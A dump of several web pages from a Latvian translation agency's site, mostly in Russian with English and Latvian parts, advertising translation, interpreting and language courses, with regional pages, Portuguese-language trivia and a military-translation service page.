интернет-магазины с интересным контентом на их родном языке. Грамотный перевод и локализация контента вашего интернет-магазина помогут вам привлечь новых клиентов и увеличить продажи продуктов и услуг вашей компании. Если вы хотите заказать перевод контента интернет-магазина – свяжитесь с нами! Мы предоставляем услуги как для небольших веб-сайтов, так и для крупных аукционных порталов, подстраивая методы работы под конкретный проект. --- > Сертифицированное бюро переводов. Переводы различных документов. Более чем 25-летний опыт. Свяжитесь с нам! - Published: 2024-11-04 - Modified: 2024-11-12 - URL: https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/visparigi-tulkojumi/ - Translation Priorities: Optional Мы переведем личные или официальные документы, печатные материалы или различные общие графики. К тому же, если тексты не требуют знаний в специфической области, перевод выполняется действительно быстро. Для перевода подобных текстов цена рассчитывается за количество слов, таким образом, сумма окончательного счета ясна сразу. Другие преимущества расчета цены за количество слов: быстрый и простой расчет объема каждого задания, отсутствие необходимости применять сложные формулы; возможность сравнить цены. Например, не существует единого для любой сферы определения «стандартная страница», поэтому цены за перевод страницы могут различаться; для редактируемого формата цена гарантирована на 100 % еще до оформления заказа; на 100 % точный расчет объема перевода – в ходе расчета нет необходимости выполнять округление, таким образом, клиент не платит за лишние слова. ВРЕМЯ ВЫПОЛНЕНИЯ ПЕРЕВОДА Мы можем выполнить особо срочные переводы всего за несколько часов или дней. Это возможно благодаря нашему многолетнему опыту и внушительной команде переводчиков. Обычный срок выполнения перевода: один рабочий день или дольше. ЧАСТО ЗАДАВАЕМЫЕ ВОПРОСЫ В любом. Неважно, в каком формате вы пришлете текст, потому что мы работаем с inx, indd, PDF, а также с другими форматами файлов. Вы узнаете цену своевременно, к тому же с точностью до цента. Отправьте нам запрос, и мы подготовим предложение. В установленный срок, о котором мы договоримся заранее. Гарантия качества и конфиденциальности, подтвержденная сертификатами ISOНаши руководители проектов говорят на латышском, русском, английском, немецком и польском языках99 % клиентов получают ценовое предложение меньше чем за 15 минутСвыше 3000 специалистов-лингвистов и носителей языкаБолее 98 % клиентов охотно порекомендовали бы нас своим друзьям и партнерамВ нашем бюро ежегодно выполняется перевод более 16 миллионов слов ЧТО О НАС ГОВОРЯТ НАШИ КЛИЕНТЫ? Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  НЕОБХОДИМ ПИСЬМЕННЫЙ ПЕРЕВОД ИЛИ КОНСУЛЬТАЦИЯ? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить Или оставьте заявку на онлайн-консультацию прямо сейчас! --- > Сэкономьте время и средства, заказав языковые услуги онлайн! Быстро и удобно – получите предложение, подготовленное специально для вас! - Published: 2024-11-04 - Modified: 2024-11-08 - URL: https://skrivanek.lv/pakalpojumi/tulkojumi-jelgava/ - Translation Priorities: Optional ДОБРО ПОЖАЛОВАТЬ В SKRIVANEK BALTIC! Адрес офиса: ул. Лачплеша, 87ц, Рига Время работы: пн. – пт. с 08:30 до 19:00 Эл. почта: birojs@skrivanek. lv Бесплатный телефон: 8000 72 72 Телефон: (+371) 67 240 364 Мобильный телефон: (+371) 26 181 355 ЯЗЫКОВЫЕ УСЛУГИ В ЕЛГАВЕ 1 Сэкономьте время и средства, заказав языковые услуги онлайн! Поставщик языковых услуг Skrivanek Baltic предлагает письменные переводы более чем на 110 языков, грамматическую и стилистическую корректуру текстов, адаптацию текстов и составление творческих текстов. Обеспечиваем также услуги устного перевода в Елгаве и окрестностях. Предлагаем обучение языкам как для частных лиц, так и для предприятий. В процессе обучения мы используем уникальный метод EFFECTO. Данный метод особенный, поскольку значительно улучшает эффективность освоения языка, к тому же он настолько увлекателен, что повышает мотивацию студентов к изучению иностранных языков. Свяжитесь с нами, чтобы получить предложение, подготовленное специально для вас! ВЫЯСНИТЬ ЦЕНУ / ЗАДАТЬ ВОПРОС Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить ЕЛГАВА Елгава – четвертый по численности населения город в Латвии. В Елгаве проживают около 60 тысяч жителей, город находится на расстоянии всего 40 километров от столицы Латвии – Риги. Елгава – экономический, образовательный и культурный центр Земгале, где развиваются металлообработка, машиностроение и производство пищевых продуктов. Елгава – один из древнейших городов Латвии, именуемый также «городом студентов». ЧТО ДЕЛАТЬ В ЕЛГАВЕ? Если вы находитесь в Елгаве, советуем посетить следующие достопримечательности: Елгавский дворец – бывшую резиденцию курляндских герцогов, позднее – административный центр губернии, а в наши дни – Латвийский университет бионаук и технологий (LBTU). Дворец является крупнейшим памятником архитектуры в странах Балтии; усыпальницу курляндских герцогов – в подвале Елгавского дворца находятся подлинные саркофаги с прахом герцогов; башню церкви Св. Троицы – здесь можно осмотреть три исторические экспозиции с интерактивными элементами, а также подняться на смотровую площадку, с которой открывается панорама Елгавы; пешеходный мост Митава – самый длинный в Латвии мост для пешеходов и велосипедистов. Мост соединяет центр города с островом Паста; пойменные луга Лиелупе, которые расположены на острове за Елгавским дворцом и где пасутся свыше 40 диких лошадей. Благодаря значимому разнообразию растений и птиц, которых можно здесь увидеть, лугам присвоен статус особо охраняемой природной территории европейского значения – Natura 2000; и многие другие места. --- > Сэкономьте время и средства, заказав языковые услуги онлайн! Отправьте нам запрос и получите подходящее для вас языковое решение! - Published: 2024-11-04 - Modified: 2024-11-04 - URL: https://skrivanek.lv/pakalpojumi/tulkojumi-ventspili/ - Translation Priorities: Optional ДОБРО ПОЖАЛОВАТЬ В SKRIVANEK BALTIC! Адрес офиса: ул. Лачплеша, 87ц, Рига Время работы: пн. – пт. с 08:30 до 19:00 Эл. почта: birojs@skrivanek. lv Бесплатный телефон: 8000 72 72 Телефон: (+371) 67 240 364 Мобильный телефон: (+371) 26 181 355 ЯЗЫКОВЫЕ УСЛУГИ В ВЕНТСПИЛСЕ 1 Сэкономьте время и средства, заказав языковые решения онлайн! Поставщик языковых услуг Skrivanek Baltic предлагает письменные переводы более чем в 500 языковых комбинациях, грамматическую и стилистическую корректуру текстов, адаптацию текстов и составление творческих текстов. Обеспечиваем также услуги устного перевода в Вентспилсе и окрестностях. Свяжитесь с нами! Мы подготовим языковое решение, которое подходит именно для вас! Мы рады тесному сотрудничеству с факультетом переводоведения Вентспилсской высшей школы, студенты которого для совершенствования своих профессиональных навыков в качестве места прохождения практики выбирают и наше предприятие. Часть этих студентов уже пополнили нашу команду специалистов по языку. ВЫЯСНИТЬ ЦЕНУ / ЗАДАТЬ ВОПРОС Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить ВЕНТСПИЛС Вентспилс – шестой по численности населения город в Латвии. В Вентспилсе проживают около 40 тысяч жителей, город находится на западе Курземе, у Балтийского моря. Вентспилс значим своим незамерзающим портом, через который переваливается большое количество различных грузов. ЧТО ДЕЛАТЬ В ВЕНТСПИЛСЕ? Если вы находитесь в Вентспилсе, советуем посетить следующие достопримечательности: замок Ливонского ордена – одну из старейших средневековых крепостей Латвии, сохранившихся до наших дней. В замке работает музей Вентспилса, признанный одним из самых современных в странах Балтии; пляж – первый пляж в странах Балтии, которому присвоен Синий флаг. Синий флаг символизирует чистоту окружающей среды и высокое качество воды; Приморский музей под открытым небом – единственный в Латвии музей под открытым небом, посвященный рыбному промыслу, в котором можно осмотреть обширную экспозицию морских рыболовных лодок и крупнейшую в странах Балтии коллекцию якорей. Из самых больших якорей в Приморском парке образована Якорная тропа; Мазбанитис – 2-километровый участок узкоколейной железной дороги; экспонаты вентспилсского Парада коров – после двух Парадов коров, или проектов в сфере искусства и меценатства, в городе доступны для осмотра 27 скульптур коров разного размера и окраса, созданных знаменитыми латвийскими и зарубежными художниками; и многие другие места. --- > Бюро переводов с более чем 25-летним опытом! Сэкономьте время и средства, заказав языковые услуги онлайн! Свяжитесь с нам! - Published: 2024-11-04 - Modified: 2024-11-04 - URL: https://skrivanek.lv/pakalpojumi/tulkojumi-jurmala/ - Translation Priorities: Optional ДОБРО ПОЖАЛОВАТЬ В SKRIVANEK BALTIC! Адрес офиса: ул. Лачплеша, 87ц, Рига Время работы: пн. – пт. с 08:30 до 19:00 Эл. почта: birojs@skrivanek. lv Бесплатный телефон: 8000 72 72 Телефон: (+371) 67 240 364 Мобильный телефон: (+371) 26 181 355 ЯЗЫКОВЫЕ УСЛУГИ В ЮРМАЛЕ 1 Сэкономьте время и средства, заказав языковые услуги онлайн! Поставщик языковых услуг Skrivanek Baltic предлагает письменные переводы более чем на 110 языков с нотариальным заверением или без него, грамматическую и стилистическую корректуру текстов, локализацию сетевого контента. Предоставляем также услуги устного перевода в Юрмале, включая устный перевод на конференциях, судебных заседаниях и деловых встречах. Если требуются услуги переводчика в повседневных ситуациях, таких как коммуникация с государственными или муниципальными учреждениями, подача документов и т. д. , рекомендуем воспользоваться услугами переводчика-ассистента. Предлагаем также обучение языкам в группах для детей (по субботам) и взрослых. Организуем лагеря иностранных языков для детей и молодежи. Лагеря работают не только во время летних каникул – их можно посещать и во время осенних и весенних школьных каникул. Свяжитесь с нами – мы будем рады помочь! ВЫЯСНИТЬ ЦЕНУ / ЗАДАТЬ ВОПРОС Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить ЮРМАЛА Юрмала – пятый по численности населения город в Латвии. В Юрмале проживают около 50 тысяч жителей, город расположен примерно в 25 километрах к западу от столицы Латвии – Риги. Юрмала с двух сторон окружена водой: на юге протекает река Лиелупе, на севере раскинулся Рижский залив. Город разделен на 16 отдельных частей: Кемери, Яункемери, Слока, Каугури, Вайвари, Асари, Валтери, Меллужи, Пумпури, Яундубулти, Дубулти, Майори, Дзинтари, Булдури, Лиелупе и Приедайне. Юрмала – единственный латвийский курортный город, принятый в Европейскую ассоциацию курортов. Он хорошо известен своим мягким климатом, морем, полезным воздухом, лечебными грязями и минеральными водами. ЧТО ДЕЛАТЬ В ЮРМАЛЕ? Если вы находитесь в Юрмале, советуем посетить следующие достопримечательности: концертный зал Dzintari – самый популярный в Латвии концертный зал, в котором выступают артисты мирового уровня; аквапарк Līvu – парк водных аттракционов, который порадует и детей, и взрослых; улицу Йомас – пешеходную улицу, по которой летом неспешно прогуливаются отдыхающие и зарубежные гости. Это одна из центральных и старейших улиц Юрмалы; тропу Большого Кемерского болота – самую популярную достопримечательность Национального парка Кемери, где, прогуливаясь по деревянному дощатому настилу, можно исследовать нетронутое человеком верховое моховое болото. Общая протяженность тропы составляет 3,4 километра; Юрмальский музей под открытым небом – в музее воссоздан прибрежный рыбацкий двор XIX века с характерными постройками. В музее также можно осмотреть коллекцию якорей и рыбацких лодок. Здесь же находится мастерская по изготовлению канатов с самой большой коллекцией канатов в Латвии; места для купания – в Юрмале 12 официальных мест для купания, 11 из которых находятся на берегу моря, одно – на берегу Лиелупе. Над пятью юрмальскими пляжами поднят Синий флаг; и многие другие места. --- > Document translations, interpreting, language courses and other language solutions in Portuguese. Find out more! - Published: 2024-11-01 - Modified: 2024-11-01 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-portugalu-valoda/ - Translation Priorities: Optional TRANSLATIONS INTO PORTUGUESE HOW MUCH DOES IT COST TO TRANSLATE INTO PORTUGUESE? The price of translation from/into Portuguese is set individually for each order. The price consists of several components according to the current price list of the Skrivanek translation agency. The price of a consecutive translation is determined on the basis of the time necessary to provide the service and the combination of languages for which translation is required. The price of a written translation is determined based on the volume of the material to be translated, the duration of the translation, the specifics of the text content, the presence of text repetitions in the translation, the need for graphic processing, text formatting, proofreading, as well as additional services of the client’s choosing. IS THERE A PRICE LIST FOR TRANSLATION SERVICES? Yes, the price list for translation and interpretation (simultaneous and consecutive), localisation and adaptation services from/into Portuguese is an integral part of the cooperation agreement with our clients. Translation project managers of the Skrivanek agency always provide detailed information on translation costs prior to starting a translation project. The cost of each order is determined individually according to the current Skrivanek price list, based on the number of words in the source text, duplication in translation and other parameters. To estimate the cost, we are waiting for you to send your translation material by email. Quality and confidentiality guarantee confirmed by ISO certificatesOur project managers speak Latvian, Russian, English, German and Polish 99% of customers receive their price offer in less than 15 minutesMore than 3000 linguists and native speakersMore than 98% of customers would gladly recommend us to their friends and partnersEvery year, our agency translates over 16 million words Need a translation? Looking for a language solution or an expert to offer advice? We will prepare a proposal designed specifically for you. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit INTERESTING FACTS ABOUT THE PORTUGUESE LANGUAGE The Portuguese language belongs to the Romance group of the Indo-European language family. Portuguese originated in the autonomous region of Galicia, located in northern Portugal and northwestern Spain. Galician was a mixture of local dialects and Latin, and Portuguese was formed as a successor language in around the fourteenth century. Even today, those who speak Portuguese and Galician have no difficulty understanding each other. Meanwhile, Portuguese is also relatively close to Spanish. There are only two standards of written Portuguese for teaching – European (Lusitanian) Portuguese and Brazilian Portuguese, which have the same orthographic and lexical differences as British and American English, but also differ grammatically in some ways. Dialects of spoken Portuguese, however, vary greatly in terms of accent and vocabulary. There are ten main dialect zones in Portugal and its islands. Among the dialects of Portuguese in Spain, there is one that stands out – Galician, which is sometimes treated as a separate language for political purposes. Dialects in Brazil retain many lexical traces of Amerindian and African languages, as well as the languages of European immigrants. The revival of modern Portuguese in Angola and Mozambique has been enabled by extensive standardisation of the language to the detriment of dialects. There are no grammatical conjugations in Portuguese, but the number of verb conjugations can seem endless. Each verb tense has six different conjugations. The use of pronouns (I, you, we, he, they) is omitted as standard because the verb conjugation clearly indicates the person and number. Portuguese was declared an official language in 1290. Portuguese gradually developed from Latin after it was introduced to Portugal in around 200 BC. However, it was not until 1290, when the Portuguese poet King Denis I declared it the language of Portugal, that Portuguese was recognised as an official language. The earliest records in Portuguese date back to the ninth century. The longest word in Portuguese, anticonstitucionalíssimamente has 29 letters and means “in a very unconstitutional way”. The word “to be” (ir/būt) is universal in Latvian, but in Portuguese it has two different verb forms: ser and estar. Ser is used to denote something constant and unchanging. Estar – is for temporary situations such as mood or weather conditions. PORTUGUESE ALPHABET The writing system in Portugal is based on the Latin alphabet, with the Portuguese alphabet consisting of 26 letters. However, until 2009 it only had 23. Until recently, the letters K, W and Y were not part of the Portuguese language. In words such as “kilogram” for example, the letter K was replaced by qu–quilograma, and the sounds W and Y could only be found in foreign words. In 2009, the Portuguese-speaking countries of the world came together to sign the new Orthographic Agreement, which standardised the forms of spelling in different variations of Portuguese and introduced the letters K, W and Y. The Portuguese language has undergone several systematic changes of sounds over the course of its evolution from common Latin roots. Although lexically, Portuguese is closer to Spanish, when comparing vowels it is more similar to Italian and Catalan as they have also retained the original Latin vowels, now replaced by diphthongs in Spanish and French. HOW DIFFICULT IS THE PORTUGUESE LANGUAGE? Portuguese is considered one of the easiest languages in the world to learn. It is a very euphonious and rich language. Learning the language is easiest for those who already speak one of the Romance languages – Spanish or Italian. Sometimes, of course, you can get confused by the variety of Portuguese pronunciation – even though it is one language, pronunciation varies greatly from country to country and region to region. The expansiveness, energy and power of the language must also be considered. Of course, being amongst people who speak the language and thus having the opportunity to listen, read and talk, plays a prominent role in language acquisition. Portuguese language courses in Latvia are offered by several language schools, including Skrivanek. WHERE IS THE PORTUGUESE LANGUAGE USED AND HOW WIDESPREAD IS IT? Portuguese is the mother tongue of more than 220 million people in Portugal, Brazil and Angola. Interestingly, only about 10 million (or --- > Мы обладаем значительным опытом в сфере перевода военных текстов для вооруженных сил и оборонной промышленности. - Published: 2024-11-01 - Modified: 2024-11-08 - URL: https://skrivanek.lv/tulkosanas-nozares/militaro-tekstu-tulkosana/ - Translation Priorities: Optional В последние годы в Латвии и Европе существенно вырос спрос на профессиональных переводчиков, имеющих практический опыт работы с военными текстами. В компании Skrivanek мы также имеем значительный опыт в сфере перевода военных текстов для вооруженных сил и оборонной промышленности. С началом войны в Украине существенно возрос спрос на перевод военных текстов – различных материалов и документов, связанных с вооруженными силами государств – членов НАТО и ЕС, военной авиацией, военно-морскими силами, гражданской обороной или военно-полевой медициной. Одно из отличий перевода военных документов заключается в том, что военные переводчики строго следуют Терминологической директиве НАТО (PO(2015)0193), которая требует использования согласованной и стандартизированной терминологии НАТО во всех переводах документов Альянса. Военные письменные и устные переводчики также в курсе последних терминологических разработок Терминологического бюро НАТО. Военный перевод охватывает широкий спектр документов и материалов различного содержания, сложности и уровня конфиденциальности, таких как: все виды документов НАТО, институтов Европейского союза и других институтов государств – членов НАТО в области национальной и международной безопасности, включая законодательные документы; техническая документация по военному оборудованию, технике, специальным устройствам, вооружению и транспортным средствам для вооруженных сил и оборонной промышленности; презентации, каталоги и различные маркетинговые материалы для компаний, предоставляющих услуги военной промышленности; официальные заявления и сообщения военных и высокопоставленных чиновников не только о происходящем в зонах конфликтов, но и о стихийных бедствиях, кризисах и других вопросах гражданской обороны, затрагивающих национальную безопасность и подпадающих под действие специального законодательства; описание военных операций в зонах конфликтов; учебные материалы для солдат, главнокомандующих; военно-медицинские материалы; документы с информацией ограниченного доступа или секретной информацией и т. д. Бесплатная автостоянкаВкусный кофеНаши руководители проектов говорят на латышском, русском, английском, немецком и польском языках99 % клиентов получают ценовое предложение менее чем через 15 минутБолее 98 % клиентов охотно порекомендовали бы нас своим друзьям и партнерамГарантия качества и конфиденциальности, подтвержденная сертификатами ISO МЫ С РАДОСТЬЮ ВЫСЛУШАЕМ ВАС И РАЗРАБОТАЕМ РЕШЕНИЕ, СООТВЕТСТВУЮЩЕЕ ВАШИМ ПОТРЕБНОСТЯМ Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить Или закажите онлайн-консультацию прямо сейчас! ВОЕННЫЕ ПЕРЕВОДЧИКИ Помимо перевода военных текстов компания Skrivanek также предоставляет услуги военного переводчика чаще всего для: международных конференций и встреч высокого уровня; международных очных военных учений и вебинаров; визитов по военному обмену; презентаций военного оборудования, техники или боевых машин; оказания помощи наблюдателям ООН и других организаций в зонах конфликтов; военных выставок и других мероприятий оборонной промышленности по всей Европе. Skrivanek предоставляет услуги военного перевода на все языки ЕС, в зависимости от стран, учреждений, организаций и компаний, принимающих участие в проекте или мероприятии. Мы работаем с устными и письменными переводчиками на более чем 110 языков, которые проходят тщательный отбор и проверку на основе внутренних собеседований по вопросам безопасности и должной осмотрительности, проверки документов на предмет соответствия поставленной задаче, с учетом специфики встречи, требующей устного перевода. Учитывая текущую ситуацию в Украине, мы также адаптируемся и наблюдаем растущий спрос на украинско-английские и англо-украинские военные переводы, а также на англо-украинских и украинско-английских устных/письменных переводчиков. В компании Skrivanek мы можем предоставить военных устных и письменных переводчиков в англо-украинской и украинско-английской комбинациях. СМЕЖНЫЕ ОБЛАСТИ Военный перевод определяется как специфическая непрямая, межкультурная, двусторонняя и двуязычная коммуникация, осуществляемая профессиональным военным переводчиком в обычных, а зачастую и экстремальных условиях военной службы, с использованием различных военных текстов. Военный перевод – это не только военная техника, служба и иностранный язык. Он также включает в себя множество других смежных областей и дисциплин, таких как: медицина, право, управление персоналом, политика и дипломатия, ИТ, биохимия, гражданская оборона. В компании Skrivanek трудятся специалисты по языку с многолетним опытом работы во всех перечисленных областях в Латвии и Европе. Поэтому мы можем выполнять крупные и сложные переводческие проекты, требующие опыта и знаний в различных областях, а также знания военной лексики. ОПЫТНЫЙ ВОЕННЫЙ ПЕРЕВОДЧИК – ЗАЛОГ УСПЕШНОГО ПРОЕКТА ПЕРЕВОДА Каждый, кто работает военным переводчиком, должен обладать необходимым профессиональным опытом и квалификацией, чтобы обеспечивать технически и содержательно корректные переводы. Военные клиенты часто нуждаются в переводе сложной технической документации, поэтому опыт перевода таких текстов крайне важен. Skrivanek имеет большой опыт в сфере перевода военных текстов для военно-морского флота, военной авиации и военной инженерии. После подписания соглашения о неразглашении мы расскажем вам, как наше бюро работает с конфиденциальными проектами, а также предоставим рекомендации в ходе онлайн-встречи. Медицина – лишь одна из важных областей военного перевода. Роль и работа военного в военной среде требуют совершенно иного подхода, чем в гражданском здравоохранении. На протяжении многих лет мы поддерживаем эту важную область медицины, предоставляя услуги по переводу книги Lekarz Wojskowy, издаваемой Военно-медицинским институтом в Польше. РОЛЬ ПЕРЕВОДЧИКА В ЗОНАХ ВОЕННЫХ КОНФЛИКТОВ Конечно, главная задача военного переводчика в зонах военных конфликтов – оказывать лингвистическую поддержку как в устной, так и в письменной форме. Основное отличие заключается в том, что переводчик следует уставу военной службы и полностью подчиняется приказам, часто выступая также в качестве посредника. Переводчик должен уметь выявлять и интерпретировать межкультурные различия, а перед отправкой в зону конфликта он должен получить всю доступную информацию о географическом положении, датах, времени, аббревиатурах, должностях, именах и других языках собеседников, которые могут быть использованы в ходе беседы. ДОВЕРЬТЕ СВОИ ВОЕННЫЕ ПЕРЕВОДЫ СПЕЦИАЛИСТАМ КОМПАНИИ SKRIVANEK Skrivanek – международная языковая компания, работающая на европейском рынке уже более 30 лет. У нас большой опыт в сфере перевода документов для учреждений НАТО, ЕС, ООН и компаний, работающих в данной отрасли. Наша команда опытных технических переводчиков готова помочь даже с самыми сложными документами, чертежами и графикой. Чтобы узнать больше о наших технических возможностях и опыте, пожалуйста, свяжитесь с нами по электронной почте: ivars@skrivanek. lv, чтобы мы могли заключить соглашение о неразглашении и обсудить особенности вашего проекта. ПОЛНАЯ ИНФОРМАЦИОННАЯ БЕЗОПАСНОСТЬ Мы прекрасно понимаем, что сегодня конфиденциальность информации имеет первостепенное значение и может повлиять на безопасность и даже жизнь многих людей и военнослужащих. Сотрудничая со Skrivanek, вы можете быть уверены, что вся ваша информация будет в безопасности. Компания Skrivanek внедрила все необходимые ISO-процедуры управления информационной безопасностью, включая сертификацию ISO 27001, которая подтверждает хранение обрабатываемых нами данных. Выполняя военный перевод, часто приходится работать в специфических офисных условиях, например без доступа к Интернету или с другими особыми требованиями. Сотрудники нашего офиса и наши переводчики обладают всеми необходимыми знаниями и опытом для работы с такими проектами. Страхование Строительство HR Финансы и банковское дело Информационные технологии и гейминг Сельское хозяйство Право Лесное хозяйство Машиностроение и железные дороги Медицинские и клинические исследования Производство Реклама и маркетинг Торговля Туризм Государственные и муниципальные учреждения --- > Ценностью компании Skrivanek является ответственность перед клиентом, что включает в себя точность машинного перевода. Мы сертифицированы по стандарту ISO 18587. - Published: 2024-10-30 - Modified: 2024-10-30 - URL: https://skrivanek.lv/iso-18587-2017/ - Translation Priorities: Optional ISO 18587:2017 – СЕРТИФИКАТ НА СИСТЕМУ УПРАВЛЕНИЯ ПОСТОБРАБОТКОЙ ТЕКСТОВ МАШИННОГО ПЕРЕВОДА --- > Skrivanek Baltic pieredzējušie tulkotāji piedāvā profesionālus pakalpojumus tulkošanā no/uz krievu/vācu valodās. - Published: 2024-10-29 - Modified: 2025-03-24 - URL: https://skrivanek.lv/tulkojumi-no-krievu-valodas-vacu-valoda-no-vacu-valodas-krievu-valoda/ - Translation Priorities: Optional KĀ DARBOJAS MŪSU TULKOŠANAS PAKALPOJUMS NO KRIEVU VALODAS VĀCU VALODĀ | NO VĀCU VALODAS KRIEVU VALODĀ KĀPĒC IZVĒLĒTIES SKRIVANEK Skrivanek ir vadošais uzņēmums tulkošanas jomā, kas darbojas Austrumu un Centrāleiropā un īsteno augstās kvalitātes valodu mācību un tulkošanas pakalpojumus. Mērķis – ne tikai nodrošināt tulkojumu no krievu valodas vācu valodā un otrādi, bet arī lieliska apkalpošanas pieredze. Mūsu klienti augstu vērtē mūs tieši par to. Lūk, tas ir tas, uz ko varat paļauties, sadarbojoties ar mums: Datu drošības stingra ievērošana – visi tulkojumi tiek veikti ES valstīs. Vairāk nekā 110 datņu formātu atbalsts – mēs strādājam ar PDF, JPG, IDML, JSON un HTML tipa datnēm, atbrīvojot Jūs no nepieciešamības konvertēt dokumentus. Vairāk nekā110 valodu pieejamība – mēs nodrošinām daudzpusīgus tulkošanas pakalpojumus viena uzņēmuma ietvaros. Jums nebūs jāmeklē citas tulkošanas aģentūras darbam ar Jūsu projektu. Valodas pakalpojumu plašā izvēle – no dokumentu līdz filmu subtitru tulkošanai, kā arī tīmekļa vietņu un lietotņu lokalizācija: tas viss ir iespējams Skrivanek tulkošanas birojā. Ātra un ērta cenu piedāvājuma saņemšana tiešsaistē – aizmirstiet par 